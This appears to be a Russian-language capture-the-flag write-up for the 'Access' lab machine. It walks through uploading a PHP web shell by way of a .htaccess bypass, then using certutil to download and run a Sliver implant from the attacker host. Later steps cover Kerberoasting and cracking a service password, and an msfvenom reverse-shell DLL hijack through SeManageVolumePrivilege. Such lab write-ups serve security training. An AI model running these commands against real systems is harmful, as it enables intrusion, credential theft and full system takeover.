About lab #
Данная машина имеет следующее описание: начальным вектором атаки должно быть веб-приложение с уязвимой функцией
загрузки файлов, что позволит нам поместить на сервер веб-шелл. Получив первоначальный доступ, нам предстоит
повысить привилегии до уровня пользователя svc_mysql
, а затем, используя SeManageVolumePrivilege
, добиться
системного доступа. Сложность оценивается, как very hard
.
VPN
или целевой хост.
NMAP #
Быстрое сканирование портов:
nmap -v -Pn -T4 -p- 192.168.111.187

Запустим детальное сканирование портов:
nmap -v -Pn -A -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49677,49704 192.168.111.187

Как видно на скриншоте веб сервер запущен на стандарном порту 80
, а также что имя домена access.offsec
.
WEB #
Уязвимая форма загрузки файлов расположена на вкладке покупки билетов.

Пробуем загрузить любое легитимное изображение.
FFUF #
Теперь необходимо узнать, в какую директорию загружаются файлы. Для этого воспользуемся ffuf
:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.111.187/FUZZ
Загруженные файлы помещаются в /uploads
.

Следующая задача — загрузить php-файл, который сервер выполнит как веб-шелл.
BurpSuite #
Bypass blacklist #
Сначала пробуем загрузить cmd.php
, затем отправим запрос в Repeater
BurpSuite
для дальнейших попыток обхода
фильтров.
<?php system($_GET['cmd']); ?>
Начнем с простейшего: изменение расширения файла .php
на другое, которое веб сервер тоже сможет
интерпретировать как php
.
Возможные варианты: phtml, .php, .php3, .php4, .php5, .php6, .pht, .pHp, .Php, .phP

Этот метод не сработал.
Bypass whitelist #
Пробуем переименовать cmd.php
в cmd.php.jpg
. Файл загружается, но расширение .jpg
остается, значит сервер его
не интерпретирует как php
.

Применяем различные ухищрения с \x00
, %00
и прочими символами. Как видно, все они безуспешны.

.htaccess #
Попробуем загрузить .htaccess
, чтобы указать, что файлы с расширением .shell
нужно обрабатывать как php
:
AddType application/x-httpd-php .shell
Загрузка .htaccess
успешна. Затем загружаем cmd.shell
вместо cmd.php
.

Теперь мы можем выполнять любые команды на сервере от пользователя svc_apache
.

Sliver C2 #
Далее я буду использовать Sliver C2
для получения шеллов на машине.
Prepare beacon #
Сгенерируем имплант. Так как антивирус на этой машине отключен, можно без проблем использовать стандартный имплант. Сразу создадим интерактивный билд без обфускации.
sliver > generate --mtls 192.168.45.183:8888 --os windows --arch amd64 --skip-symbols -s /home/kali/Documents/ProvingGrounds/Access/mtls_8888.exe

Запустим listener
sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #2
Upload beacon #
Имея php
шелл, можем скачать и запустить Sliver
имплант на целевом сервере.
Сначала запустим на нашей машине простой веб сервер с помощью python
.
python3 -m http.server

И из браузера запустим загрузку с помощью стандартной Windows
утилиты certutil.exe
.
http://192.168.127.187/uploads/cmd.shell?cmd=certutil.exe -urlcache -f http://192.168.45.177:8000/mtls_8888.exe mtls_8888.exe

Имплант загружен на целевую машину. Запустим его:

Execute beacon #
Запуск:
http://192.168.127.187/uploads/cmd.shell?cmd=mtls_8888.exe
Отлично! Теперь у нас есть полноценный шел с кучей других возможностей предоставляемых Sliver.

Privileges escalation to svc_mysql #
Enumeration #
Согласно описанию к этой машине, следующий этап — получить привилегии пользователя svc_mysql
, затем эскалировать до системного уровня.
Так как в домене часто используются SPN
для сервисных аккаунтов, попробуем kerberoasting
.
Используем sharpview
(аналог PowerView
в Sliver
) для поиска учетных записей со SPN
:
sliver> sharpview -- Get-DomainUser -SPN

Аккаунт svc_mssql
имеет SPN. Теперь попробуем сделать kerberoasting
c помощью Rubeus
.
sliver> rubeus kerberoast /simple

Сохраняем хеш и взламываем его hashcat
:
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Получаем учетные данные: svc_mssql:trustno1
.
Escalation #
Теперь когда мы знаем пароль от пользователя svc_mssql
, нужно одним из способов запустить новый имплант от его
имени. Как и ранее сгенерируем новый имплант на другом порту mtls_8899.exe
в Sliver
и загрузим его на сервер,
например используя команду upload
в текущей сессии.
runas
(runas -d access.offsec -u svc_mssql -P trustno1 -p mtls_8899.exe
) для запуска
новой сессии от пользователя svc_mssql
, то в результате эксплоит будет завершаться с ошибкой,
как и попытки запустить стандартный shell
.
Поэтому загрузим на сервер
RunasCs - Csharp and open version of windows builtin runas.exe
RunasCs.exe
из этого репозитория:
Из текущей сессии от пользователя svc_apache
запустим новый имплант, но уже с правами svc_mssql
.
execute -o RunasCs.exe svc_mssql 'trustno1' 'C:\Temp\mtls_8899.exe' -t 0
Через пару секунд появляется новая сессия в Sliver
.

Переключимся в новую сессию и заберем первый флаг.

Privileges escalation to system #
Enumeration #
Завершающий этап — это эксплуатация привелегии SeManageVolumePrivilege
.
Проверим привилегии svc_mssql
:

Отлично! Можно двигаться дальше.
Escalation #
SeManageVolumePrivilege
позволяет управлять томами. В сочетании с определенной уязвимостью можно обеспечить
запись в C:\Windows
, а затем воспользоваться техникой DLL Hijacking
.
Компоненты:
- Эксплоит
SeManageVolumePrivilege
для записи вC:\Windows
.CsEnox/SeManageVolumeExploitC9616 DLL с реверс-шеллом
(об этом далее)
Запускаем SeManageVolumeExploit.exe
sliver > execute -o SeManageVolumeExploit.exe

С этого момента любой пользователь в системе может изменять файлы в C:\Windows
.
Подготовим DLL
и загрузим его на машину.
dll
, которую
можно сгенерировать в Sliver
с ключем --format shared
, поэтому воспользуемся msfvenom
.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.177 LPORT=5555 -f dll -o tzres.dll
Переместим tzres.dll
в C:/Windows/System32/wbem/tzres.dll
.
Запустим новый listener
с помощью netcat
.
nc -nvl -p 5555
С помощью способа описанного здесь триггернем загрузку
SeManageVolumePrivilege to SYSTEM
tzres.dll
.
Для этого надо выполнить команду systeminfo
.
sliver > execute -o systeminfo
В результате мы получили новую сессию от системного пользователя:
Получаем финальный флаг:
Conclusion #
Мне понравилась эта машина, я узнал для себя некоторые вещи, но пришлось потратить больше времени, чем
требуется из-за того, что пришлось решать проблемы c runas
и dll
в Sliver
.
Кратко список шагов которые мы предприняли:
- С помощью
nmap
обнаружили веб-сервер и уязвимую функцию загрузки. - С помощью
.htaccess
заставили сервер воспринимать.shell
файлы какphp
, загрузили имплантSliver
и получили доступ от имениsvc_apache
. - Провели
Kerberoasting
наsvc_mssql
, взломали хеш и получили пароль. - Через
RunasCs.exe
запустили новый имплант от имениsvc_mssql
. - С помощью эксплойта обеспечили запись в
C:\Windows
, подменилиtzres.dll
и вызвали реверс-шелл с привилегиямиSYSTEM
.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!